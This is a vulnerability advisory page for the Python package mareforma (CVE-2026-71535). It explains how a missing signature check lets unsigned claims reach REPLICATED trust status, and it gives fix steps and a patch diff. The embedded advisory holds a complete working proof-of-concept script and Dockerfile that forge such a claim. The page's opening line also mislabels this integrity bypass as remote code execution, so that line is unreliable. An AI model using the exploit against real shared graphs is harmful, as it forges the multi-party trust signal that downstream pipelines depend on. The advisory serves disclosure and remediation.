Vulnerabilities in pkg:pypi/mareforma
PACKAGECVE-2026-71535 is a HIGH (CVSS 7.1) remote code execution vulnerability (CWE-347: Improper Verification of Cryptographic Signature) affecting Mareforma libraries in the PyPI ecosystem. The issue involves unsigned claims can be promoted to replicated via missing signature enforcement in convergence path. Remediation is available by upgrading affected packages to version 0.3.7.
pkg:pypi/mareforma
Vulnerability advisories affecting package pkg:pypi/mareforma. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-8776-qf3h-26r3 | CVE-2026-71535 | HIGH | Mareforma: Unsigned Claims Can Be Promoted to REPLICATED via Missing Signature Enforcement in Convergence Path |
| GHSA-xfq4-8hf9-5h43 | CVE-2026-71534 | MODERATE | Mareforma: transparency_logged trusts the unsigned rekor block |
| GHSA-rgg9-956j-3378 | CVE-2026-71500 | MODERATE | Mareforma: invalidated claims still promote to REPLICATED |
| GHSA-hxh5-gp44-rc6p | CVE-2026-71536 | HIGH | Mareforma: verify_bundle never checks a per-claim signature |
| GHSA-m29v-3g7g-9c63 | CVE-2026-71533 | MODERATE | Mareforma: search_claims skips verify-on-read, serving forged rows |
CVE-2026-71535 at a Glance
Security Impact
CVSS: 7.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N).
How to Fix CVE-2026-71535
To remediate this vulnerability, upgrade all affected Mareforma dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install mareforma>=0.3.7
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show mareforma
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-71535, inspect your installed packages using pip:
pip show mareforma
Analyze the terminal output to locate any version of Mareforma in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.3.7), your application is affected.
Note: The pip show mareforma command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-347: Improper Verification of Cryptographic Signature, where the product does not verify, or incorrectly verifies, the cryptographic signature for data. In Mareforma, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-71535 Affected Mareforma Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
mareforma
|
PyPI |
≥ 0.3.0
< 0.3.7
|
0.3.7
|
References
Frequently Asked Questions
What is CVE-2026-71535?
Which Mareforma versions are affected?
What version fixes CVE-2026-71535?
Is mareforma affected?
What is the CVSS score of CVE-2026-71535?
What CWE is associated with CVE-2026-71535?
How can I check PyPI dependencies for CVE-2026-71535?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-8776-qf3h-26r3",
"modified" : "2026-11-19T16:07:36Z",
"published" : "2026-11-19T16:07:36Z",
"aliases" : [ "CVE-2026-71535" ],
"summary" : "Mareforma: Unsigned Claims Can Be Promoted to REPLICATED via Missing Signature Enforcement in Convergence Path",
"details" : "### Summary\n\n`mareforma` 0.3.3 contains a critical integrity flaw in the REPLICATED convergence logic (`_maybe_update_replicated_unlocked()` in `mareforma/db/core.py:1300-1319`). The peer-selection SQL query that determines whether two independent claims \"agree\" on the same anchor does not verify that either claim carries a valid cryptographic signature from an enrolled validator key. Because `rekor_enabled=False` is the default and automatically sets `transparency_logged=1` at insert time, every claim — signed or not — immediately satisfies the convergence precondition. An attacker with no Mareforma key can write an unsigned claim to a shared graph, cause it to converge with a legitimate signed peer claim, and have it promoted to `REPLICATED` status. The forged `REPLICATED` row is then returned by the default trust query (`graph.query(min_support=\"REPLICATED\")`), allowing the attacker to inject false trust signals into any downstream consumer relying on `REPLICATED` as a multi-party endorsement guarantee.\n\n### Details\n\n**Root cause — `mareforma/db/core.py:1300-1319`**\n\nThe convergence function `_maybe_update_replicated_unlocked()` selects peer claims using a SQL query that filters on `status`, `unresolved`, `transparency_logged`, and `artifact_hash`, but contains no predicate on `signature_bundle` or enrolled-key identity:\n\n```python\n# mareforma/db/core.py:1300-1319\nrows = conn.execute(\n f\"\"\"\n SELECT DISTINCT c.claim_id, c.generated_by\n FROM claims c, json_each(c.supports_json) j\n WHERE j.value IN ({placeholders})\n AND c.claim_id != ?\n AND c.generated_by != ?\n AND c.support_level != 'ESTABLISHED'\n AND c.status = 'open'\n AND c.unresolved = 0\n AND c.transparency_logged = 1\n AND (\n c.artifact_hash IS NULL\n OR ? IS NULL\n OR c.artifact_hash = ?\n )\n \"\"\",\n```\n\nOnce peer rows are collected, the sink at `core.py:1324-1334` promotes all matching claim IDs — including the attacker's — to `REPLICATED` without any additional validation.\n\n**Why the preconditions are trivially satisfied**\n\n1. **`transparency_logged = 1` is set automatically.** When `rekor_enabled=False` (the library default), `core.py:1061` sets `transparency_logged = 1` immediately after insert. There is no Rekor step, so every claim becomes convergence-eligible the moment it is written.\n2. **`require_signed=False` is the default.** `mareforma/__init__.py:41` defaults `require_signed` to `False`. When the attacker opens the graph with a non-existent key path, `__init__.py:132-138` silently sets `signer = None`, enabling unsigned claim insertion.\n3. **`assert_claim()` performs no signature gate.** `_graph.py:284-291` only validates DOI resolution on the `supports` list before forwarding attacker-controlled fields to `_db.add_claim()` (`_graph.py:373-380`).\n\n**Why the forged claim surfaces in trust queries**\n\nThe default query path at `core.py:3647-3650` filters out only `PRELIMINARY` claims whose generator is not enrolled. Claims at `REPLICATED` status are returned unconditionally, so the unsigned forged row is indistinguishable from a legitimately converged row in any downstream consumer.\n\n**The helper that should have been called**\n\n`core.py:3661-3669` contains `_extract_signature_bundle_keyid()`, which can extract the key ID from a `signature_bundle`. This helper exists but is never invoked on the convergence path, indicating the validation was inadvertently omitted rather than a design decision.\n\n**Complete data flow (source → sink)**\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `cli.py:700-739` | CLI accepts arbitrary `TEXT`, `--supports`, `--generated-by`; lines 720-723 explicitly permit unsigned graph mode |\n| 2 | `__init__.py:128-138` | Missing key file → `signer = None` (no error raised) |\n| 3 | `_graph.py:284-291` | `assert_claim()` forwards user-controlled `supports` after DOI check only |\n| 4 | `_graph.py:373-380` | Calls `_db.add_claim()` with attacker-controlled claim fields |\n| 5 | `db/core.py:1208-1214` | Post-insert convergence triggered when `unresolved == False` and `transparency_logged == 1` |\n| 6 | `db/core.py:1300-1319` | **Peer-selection SQL — no `signature_bundle` or enrolled-key check (vulnerable sink)** |\n| 7 | `db/core.py:1324-1334` | Updates peer and attacker claims to `REPLICATED` |\n| 8 | `db/core.py:3647-3650` | Default query returns `REPLICATED` rows without signature validation |\n\n### PoC\n\n**Prerequisites**\n\n```bash\npython3 -m venv /tmp/mareforma-poc\n/tmp/mareforma-poc/bin/pip install mareforma==0.3.3\n```\n\nOr run the fully self-contained Docker image:\n\n```bash\n# Build (from the repository root, with the local repo mounted under ./repo)\ndocker build -f vuln-001/Dockerfile -t mareforma-vuln001 .\n\n# Run (no network required)\ndocker run --rm --network none mareforma-vuln001\n```\n\n**Step-by-step attack**\n\n```python\n#!/usr/bin/env python3\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\n\nimport mareforma\nfrom mareforma import signing\n\nwith TemporaryDirectory() as td:\n root = Path(td)\n key_path = root / \"root-key.pem\"\n\n # Step 1: Legitimate root agent bootstraps a key and creates an ESTABLISHED anchor.\n signing.bootstrap_key(key_path)\n with mareforma.open(root, key_path=key_path) as g:\n anchor = g.assert_claim(\n \"established anchor\",\n classification=\"DERIVED\",\n generated_by=\"seed/root\",\n seed=True,\n )\n # Step 2: Honest peer asserts a signed PRELIMINARY claim supporting the anchor.\n honest = g.assert_claim(\n \"same result\",\n supports=[anchor],\n generated_by=\"honest-agent\",\n )\n\n # Step 3: Attacker opens the same graph with a non-existent key path.\n # __init__.py:132-138 silently sets signer=None — unsigned mode.\n attacker_key = root / \"missing-attacker-key.pem\" # does not exist\n with mareforma.open(root, key_path=attacker_key) as g:\n # Step 4: Attacker inserts an unsigned claim supporting the same anchor.\n # Convergence fires in _maybe_update_replicated_unlocked():\n # - Two claims share the same ESTABLISHED anchor\n # - Different generated_by values\n # - Both have transparency_logged=1 (Rekor disabled by default)\n # - No signature or enrollment check performed\n attack = g.assert_claim(\n \"forged convergence\",\n supports=[anchor],\n generated_by=\"attacker-agent\",\n )\n\n attack_info = g.get_claim(attack)\n print(attack_info[\"support_level\"]) # → REPLICATED\n print(attack_info[\"signature_bundle\"] is None) # → True (unsigned)\n\n # Step 5: The unsigned REPLICATED claim appears in the default trust query.\n results = g.query(min_support=\"REPLICATED\")\n for r in results:\n print((r[\"text\"], r[\"support_level\"],\n r[\"signature_bundle\"] is None, r[\"generator_enrolled\"]))\n```\n\n**Expected output**\n\n```\nREPLICATED\nTrue\n('established anchor', 'ESTABLISHED', False, True)\n('forged convergence', 'REPLICATED', True, False) # ← unsigned, unenrolled\n('same result', 'REPLICATED', False, True)\n```\n\nThe forged claim (`signature_bundle=None`, `generator_enrolled=False`) is promoted to `REPLICATED` and returned alongside legitimately signed claims.\n\n**Remediation**\n\nThe convergence path must require both the incoming claim and every selected peer claim to carry a valid `signature_bundle` signed by a distinct enrolled validator key:\n\n```diff\n--- a/mareforma/db/core.py\n+++ b/mareforma/db/core.py\n@@\n- new_status_row = conn.execute(\n- \"SELECT status FROM claims WHERE claim_id = ?\", (new_claim_id,),\n+ new_status_row = conn.execute(\n+ \"SELECT status, signature_bundle FROM claims WHERE claim_id = ?\",\n+ (new_claim_id,),\n ).fetchone()\n if new_status_row is None or new_status_row[\"status\"] != \"open\":\n return\n+ from mareforma import validators as _validators\n+ new_keyid = _extract_signature_bundle_keyid(new_status_row[\"signature_bundle\"])\n+ if new_keyid is None or not _validators.is_enrolled(conn, new_keyid):\n+ return\n@@\n- SELECT DISTINCT c.claim_id, c.generated_by\n+ SELECT DISTINCT c.claim_id, c.generated_by, c.signature_bundle\n@@\n- if not rows:\n+ peer_ids = []\n+ for row in rows:\n+ peer_keyid = _extract_signature_bundle_keyid(row[\"signature_bundle\"])\n+ if peer_keyid is None or peer_keyid == new_keyid:\n+ continue\n+ if not _validators.is_enrolled(conn, peer_keyid):\n+ continue\n+ peer_ids.append(row[\"claim_id\"])\n+\n+ if not peer_ids:\n return\n \n- peer_ids = [r[\"claim_id\"] for r in rows] + [new_claim_id]\n+ peer_ids = peer_ids + [new_claim_id]\n```\n\n### Impact\n\nThis is an **integrity bypass** vulnerability (CWE-347: Improper Verification of Cryptographic Signature). `REPLICATED` is mareforma's primary multi-party trust signal, intended to convey that at least two independent, enrolled validators have independently observed and signed the same result. By silently bypassing the signature and enrollment checks in the convergence path, the library allows any local agent — with no cryptographic credentials — to forge this trust signal.\n\n**Who is impacted:** Any user or system that queries a mareforma graph with `min_support=\"REPLICATED\"` and treats the result as evidence of multi-party validation. This includes automated pipelines, audit dashboards, policy engines, or downstream consumers that rely on `REPLICATED` status to gate trust decisions (e.g., accepting a dataset, approving a model artifact, or publishing a result).\n\nBecause the forged claim is indistinguishable from a legitimately converged claim in query results, consumers cannot detect the attack without out-of-band inspection of `signature_bundle` and `generator_enrolled` fields — fields that the library's default query interface does not surface prominently.\n\nThe vulnerability is exploitable in the default configuration: `require_signed=False`, `rekor_enabled=False`. The attack requires only local write access to a shared graph database (e.g., a shared filesystem or writable network mount) and no Mareforma key.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\nLABEL description=\"VULN-001 PoC: Unsigned Claims Promoted to REPLICATED (CWE-347)\"\nLABEL version=\"0.3.3\"\n\nWORKDIR /app\n\n# Copy the local repository and install from source\nCOPY repo /app/repo\nRUN pip install --no-cache-dir /app/repo\n\n# Copy the proof-of-concept script\nCOPY vuln-001/poc.py /app/poc.py\n\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 Proof of Concept\nTitle: Unsigned Claims Promoted to REPLICATED via Missing Signature Enforcement\nCWE-347: Improper Verification of Cryptographic Signature\nCVSS: 7.1 (High) — CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N\n\nRoot cause:\n _maybe_update_replicated_unlocked() in mareforma/db/core.py:1300-1319 selects\n peer claims for convergence without checking signature_bundle or enrolled-key\n identity. When rekor_enabled=False (the default), transparency_logged is set\n to 1 immediately (core.py:1061), so every claim—signed or not—is eligible for\n the convergence query. An attacker with no key can therefore write an unsigned\n claim that converges with a legitimate signed peer claim and is promoted to\n REPLICATED status. The forged REPLICATED row is then returned by the default\n query path (core.py:3647-3650) that only filters unenrolled PRELIMINARY claims.\n\nAttack steps:\n 1. Honest root agent bootstraps a key; auto-enrolls as root validator on first\n graph open; asserts an ESTABLISHED seed anchor claim.\n 2. Honest agent asserts a signed PRELIMINARY peer claim supporting the anchor.\n 3. Attacker opens the same graph WITHOUT any key (missing-key.pem does not\n exist → signer=None per __init__.py:132-138).\n 4. Attacker asserts an unsigned PRELIMINARY claim supporting the same anchor.\n 5. Convergence fires: two claims, same ESTABLISHED anchor, different\n generated_by, both have transparency_logged=1 (Rekor disabled).\n 6. Both claims are promoted to REPLICATED. No signature check is performed.\n 7. graph.query(min_support=\"REPLICATED\") returns the unsigned forged claim.\n\nExpected evidence (deterministic exit code 0):\n - attack claim support_level == \"REPLICATED\"\n - attack claim signature_bundle is None (unsigned)\n - attack claim generator_enrolled == False\n - forged unsigned REPLICATED claim appears in query results\n\"\"\"\n\nimport sys\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\n\nimport mareforma\nfrom mareforma import signing\n\n\nSEPARATOR = \"-\" * 70\n\n\ndef banner(msg: str) -> None:\n print(f\"\\n{SEPARATOR}\")\n print(f\" {msg}\")\n print(SEPARATOR)\n\n\ndef main() -> int:\n print(\"VULN-001 PoC — Unsigned Claims Promoted to REPLICATED (CWE-347)\")\n print(f\"mareforma version: {mareforma.__version__}\")\n\n with TemporaryDirectory() as td:\n root = Path(td)\n key_path = root / \"root-key.pem\"\n\n # ------------------------------------------------------------------\n # Step 1: Bootstrap a key for the legitimate root agent.\n # On first graph open, this key auto-enrolls as the root\n # validator, which is required for seed=True.\n # ------------------------------------------------------------------\n banner(\"Step 1: Bootstrap signing key for honest root agent\")\n signing.bootstrap_key(key_path)\n print(f\" Key path : {key_path}\")\n print(f\" Exists : {key_path.exists()}\")\n\n # ------------------------------------------------------------------\n # Step 2: Honest root agent creates an ESTABLISHED anchor.\n # Uses seed=True, which requires an enrolled validator.\n # The first open() with a fresh key auto-enrolls it.\n # ------------------------------------------------------------------\n banner(\"Step 2: Honest root agent — create ESTABLISHED anchor + signed peer claim\")\n with mareforma.open(root, key_path=key_path) as g:\n anchor = g.assert_claim(\n \"established anchor\",\n classification=\"DERIVED\",\n generated_by=\"seed/root\",\n seed=True,\n )\n anchor_info = g.get_claim(anchor)\n print(f\" anchor claim_id : {anchor}\")\n print(f\" anchor support_level: {anchor_info['support_level']}\")\n assert anchor_info[\"support_level\"] == \"ESTABLISHED\", (\n f\"Unexpected anchor level: {anchor_info['support_level']}\"\n )\n\n # Honest agent adds a signed peer claim supporting the anchor.\n honest = g.assert_claim(\n \"same result\",\n supports=[anchor],\n generated_by=\"honest-agent\",\n )\n honest_info = g.get_claim(honest)\n print(f\" honest claim_id : {honest}\")\n print(f\" honest support_level: {honest_info['support_level']}\")\n print(f\" honest signed : {honest_info['signature_bundle'] is not None}\")\n\n # ------------------------------------------------------------------\n # Step 3: Attacker opens the graph with a non-existent key.\n # __init__.py:132-138: missing file → signer=None (unsigned mode).\n # ------------------------------------------------------------------\n banner(\"Step 3: Attacker opens graph WITHOUT a key — unsigned mode\")\n attacker_key = root / \"missing-attacker-key.pem\"\n print(f\" Attacker key path: {attacker_key}\")\n print(f\" Attacker key exists: {attacker_key.exists()} (intentionally absent)\")\n\n with mareforma.open(root, key_path=attacker_key) as g:\n # Step 4: Attacker asserts an unsigned claim with the same anchor.\n # Convergence logic fires: two claims, same ESTABLISHED\n # anchor, different generated_by, both transparency_logged=1.\n banner(\"Step 4: Attacker inserts UNSIGNED claim — triggers convergence\")\n attack = g.assert_claim(\n \"forged convergence\",\n supports=[anchor],\n generated_by=\"attacker-agent\",\n )\n\n attack_info = g.get_claim(attack)\n attack_support_level = attack_info[\"support_level\"]\n attack_unsigned = attack_info[\"signature_bundle\"] is None\n attack_enrolled = attack_info.get(\"generator_enrolled\", False)\n\n print(f\" attack claim_id : {attack}\")\n print(f\" attack support_level : {attack_support_level}\")\n print(f\" attack unsigned : {attack_unsigned} (signature_bundle is None)\")\n print(f\" attack enrolled : {attack_enrolled}\")\n\n # Step 5: Verify the unsigned REPLICATED claim appears in the\n # default query that consumers rely on for trust decisions.\n banner(\"Step 5: Query min_support='REPLICATED' — should include forged claim\")\n results = g.query(min_support=\"REPLICATED\")\n print(f\" Total REPLICATED results: {len(results)}\")\n forged_in_results = False\n for r in results:\n is_forged = (\n r[\"signature_bundle\"] is None\n and r.get(\"generator_enrolled\") is False\n and r[\"support_level\"] == \"REPLICATED\"\n )\n marker = \" [FORGED]\" if is_forged else \" \"\n print(\n f\"{marker} text={r['text']!r:30s} \"\n f\"level={r['support_level']:12s} \"\n f\"unsigned={r['signature_bundle'] is None!s:5s} \"\n f\"enrolled={r.get('generator_enrolled', '?')}\"\n )\n if is_forged:\n forged_in_results = True\n\n # ------------------------------------------------------------------\n # Verdict\n # ------------------------------------------------------------------\n banner(\"Verdict\")\n conditions = {\n \"attack claim support_level == REPLICATED\": attack_support_level == \"REPLICATED\",\n \"attack claim is UNSIGNED (signature_bundle is None)\": attack_unsigned,\n \"attack generator_enrolled == False\": attack_enrolled is False,\n \"forged REPLICATED claim visible in query results\": forged_in_results,\n }\n all_pass = True\n for desc, result in conditions.items():\n status = \"PASS\" if result else \"FAIL\"\n print(f\" [{status}] {desc}\")\n if not result:\n all_pass = False\n\n if all_pass:\n print(\n \"\\n [CONFIRMED] VULN-001: unsigned claim promoted to REPLICATED.\\n\"\n \" An attacker without any key can forge graph trust.\\n\"\n \" The convergence path (core.py:1300-1319) does not check\\n\"\n \" signature_bundle or enrolled-key identity.\"\n )\n return 0\n else:\n print(\n \"\\n [NOT TRIGGERED] One or more conditions failed.\\n\"\n \" Vulnerability may have been patched or env differs.\"\n )\n return 1\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "mareforma"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0.3.0"
}, {
"fixed" : "0.3.7"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/mareforma/mareforma/security/advisories/GHSA-8776-qf3h-26r3"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-71535"
}, {
"type" : "WEB",
"url" : "https://github.com/mareforma/mareforma/pull/18"
}, {
"type" : "WEB",
"url" : "https://github.com/mareforma/mareforma/commit/e1bf09e515693a7f2a2a80852b05fa66be44302e"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/mareforma/mareforma"
}, {
"type" : "WEB",
"url" : "https://github.com/mareforma/mareforma/releases/tag/v0.3.7"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-347" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-11-19T16:07:36Z",
"nvd_published_at" : "2026-11-18T23:17:21Z"
}
}